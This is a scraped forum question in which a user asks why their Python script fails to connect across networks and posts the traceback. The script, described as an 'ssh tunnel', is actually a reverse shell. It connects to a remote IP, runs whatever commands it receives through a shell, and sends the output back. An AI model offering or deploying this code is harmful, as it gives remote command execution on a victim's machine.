python - How to open ssh tunnel between 2 different machine not on the same network? -
i tried below code:
#!/usr/bin/python import socket,subprocess host = '78.163.xx.xx' port = 22 s = socket.socket(socket.af_inet, socket.sock_stream) s.connect((host,port)) s.send('[*] connection established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.popen(data, shell=true, stdout=subprocess.pipe, stderr=subprocess.pipe, stdin=subprocess.pipe) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) s.close() but got error :
traceback (most recent call last): file "rs.py", line 6, in <module> s.connect(('78.163.xx.xx', 22)) file "/usr/lib/python2.7/socket.py", line 228, in meth return getattr(self._sock,name)(*args) socket.error: [errno 111] connection refused its wan ip:78.163.xx.xx , opened ssh port(22) , normal port(4444) , redirected internal ip (192.168.2.50) modem interface.but still cannot open ssh tunnel between 2 different computer not on same network.
how can solve problem? or problem? idea?
additionally, if try locally host=socket.gethostname(),its work properly.but not work not on same network pcs.
thank in advance..
Comments
Post a Comment